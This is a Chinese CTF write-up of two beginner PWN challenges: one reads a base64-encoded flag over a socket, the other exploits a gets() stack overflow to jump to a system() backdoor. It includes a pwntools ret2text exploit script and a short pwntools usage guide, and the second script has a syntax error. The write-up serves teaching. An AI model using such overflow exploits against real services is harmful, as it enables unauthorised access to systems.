实战解析PWN签到题

本文涉及的产品
全局流量管理 GTM,标准版 1个月
云解析 DNS,旗舰版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: 实战解析PWN签到题

题目只给出nc端口没有附件 连接发现

Pwntools is such an awesome python module, right?

Tell you a secret (only smart baby can see it) :

Maybe I will tell you again when you clever than ELSEpush ......

最后面有省略号我猜测应该是没有输出完所以我们使用pwntools攻击 recvline() 接受没有显示出来的内容

然后发现有一个base64加密的字符串 结合题目说聪明得人才能发现解密出来就是flag{n0tf4stert6an_y0u}


bedcaf408d68df56a3323b3cd74ce4f2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


ret2text


拿到题目我一般的做题思路是首先checksec一下看到附件之打开了NX保护所以程序中不能直接使用shellcode执行任意代码 以及32位的elf linux程序


58413ba7293be9842f16355259254cc7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


然后通过看到的文件基本信息选择64位或者32位的IDA Pro 这个ret2text我们选择用32位的来静态分析它的源代码

 83a1ab819a4fce49849caf0fab818bf9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


用IDA打开之后它自动停在main函数处首先展现出来的是汇编代码 我们要将汇编代码转成我们能通俗易懂的c语言代码按F5进行反汇编发现这个函数的主函数并没有什么漏洞但是main的子函数vulnerable里面定义了缓冲区有8字节然后gets函数这里是一个栈溢出的基本漏洞 gets函数可以有栈溢出的漏洞对读入的数据不受限制 所以可以借助溢出的漏洞来到它的返回地址 我们从静态调试中得到栈里与ebp距离为16字节而缓冲区只定义了8字节 然后我们就用gets函数执行可读多个字节来覆盖栈里的程序


3d9c841b28eb94733680696b3dabebb9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


在ida中我们还发现有一个system函数这就是一般pwn题的后门函数当我们用垃圾数据写出的payload成功劫持了程序的执行流时 需要写一个指针的返回地址来执行我们需要的恶意代码 这个system地址就是8048522


60c685577add1d247f24920e9265b1f7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


根据综上分析exp如下 python 1.from pwn import * 2.c=remote('...', ) 3.#c=process(./ret2text) 4.py=b'A'*16+b'BBBB'+p32(0x8048522) 5.c.sendline(py) 6.c.interactive()


总结此题型的思路以及做法


首先了解pwntools,pwntools是一个二进制利用框架。下面我给大家介绍下pwntools的使用方法 pwntools脚本 python 1.from pwn import * 2.c = remote("127.0.0.1", 8080) 3.sendline("AAAA" * 18 + p32(0x8048522) 4.c.interactive() remote("一个域名或者ip地址", 端口) 会连接到我们指定的地址及端口。然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c). remote对象主要用来进行对远程主机的输入输出. 它有如下几个方法:

send(payload) 发送payload

sendline(payload) 发送payload,并进行换行(末尾\n)

sendafter(some_string, payload) 接收到 some_string 后, 发送你的 payload

recvn(N) 接受 N(数字) 字符

recvline() 接收一行输出

recvlines(N) 接收 N(数字) 行输出

recvuntil(some_string) 接收到 some_string 为止


相关文章
|
15天前
|
自然语言处理 编译器 Linux
|
20天前
|
Prometheus 监控 Cloud Native
实战经验:成功的DevOps实施案例解析
实战经验:成功的DevOps实施案例解析
35 6
|
17天前
|
UED
<大厂实战经验> Flutter&鸿蒙next 中使用 initState 和 mounted 处理异步请求的详细解析
在 Flutter 开发中,处理异步请求是常见需求。本文详细介绍了如何在 `initState` 中触发异步请求,并使用 `mounted` 属性确保在适当时机更新 UI。通过示例代码,展示了如何安全地进行异步操作和处理异常,避免在组件卸载后更新 UI 的问题。希望本文能帮助你更好地理解和应用 Flutter 中的异步处理。
61 3
|
17天前
|
JavaScript API 开发工具
<大厂实战场景> ~ Flutter&鸿蒙next 解析后端返回的 HTML 数据详解
本文介绍了如何在 Flutter 中解析后端返回的 HTML 数据。首先解释了 HTML 解析的概念,然后详细介绍了使用 `http` 和 `html` 库的步骤,包括添加依赖、获取 HTML 数据、解析 HTML 内容和在 Flutter UI 中显示解析结果。通过具体的代码示例,展示了如何从 URL 获取 HTML 并提取特定信息,如链接列表。希望本文能帮助你在 Flutter 应用中更好地处理 HTML 数据。
99 1
|
21天前
|
自然语言处理 编译器 Linux
告别头文件,编译效率提升 42%!C++ Modules 实战解析 | 干货推荐
本文中,阿里云智能集团开发工程师李泽政以 Alinux 为操作环境,讲解模块相比传统头文件有哪些优势,并通过若干个例子,学习如何组织一个 C++ 模块工程并使用模块封装第三方库或是改造现有的项目。
|
23天前
|
人工智能 资源调度 数据可视化
【AI应用落地实战】智能文档处理本地部署——可视化文档解析前端TextIn ParseX实践
2024长沙·中国1024程序员节以“智能应用新生态”为主题,吸引了众多技术大咖。合合信息展示了“智能文档处理百宝箱”的三大工具:可视化文档解析前端TextIn ParseX、向量化acge-embedding模型和文档解析测评工具markdown_tester,助力智能文档处理与知识管理。
|
10天前
|
前端开发 中间件 PHP
PHP框架深度解析:Laravel的魔力与实战应用####
【10月更文挑战第31天】 本文作为一篇技术深度好文,旨在揭开PHP领域璀璨明星——Laravel框架的神秘面纱。不同于常规摘要的概括性介绍,本文将直接以一段引人入胜的技术剖析开场,随后通过具体代码示例和实战案例,逐步引导读者领略Laravel在简化开发流程、提升代码质量及促进团队协作方面的卓越能力。无论你是PHP初学者渴望深入了解现代开发范式,还是经验丰富的开发者寻求优化项目架构的灵感,本文都将为你提供宝贵的见解与实践指导。 ####
|
14天前
|
前端开发 JavaScript
JavaScript新纪元:ES6+特性深度解析与实战应用
【10月更文挑战第29天】本文深入解析ES6+的核心特性,包括箭头函数、模板字符串、解构赋值、Promise、模块化和类等,结合实战应用,展示如何利用这些新特性编写更加高效和优雅的代码。
32 0
|
30天前
|
XML Java 数据格式
Spring IOC容器的深度解析及实战应用
【10月更文挑战第14天】在软件工程中,随着系统规模的扩大,对象间的依赖关系变得越来越复杂,这导致了系统的高耦合度,增加了开发和维护的难度。为解决这一问题,Michael Mattson在1996年提出了IOC(Inversion of Control,控制反转)理论,旨在降低对象间的耦合度,提高系统的灵活性和可维护性。Spring框架正是基于这一理论,通过IOC容器实现了对象间的依赖注入和生命周期管理。
65 0
|
30天前
|
分布式计算 Java 应用服务中间件
NettyIO框架的深度技术解析与实战
【10月更文挑战第13天】Netty是一个异步事件驱动的网络应用程序框架,由JBOSS提供,现已成为Github上的独立项目。
38 0

推荐镜像

更多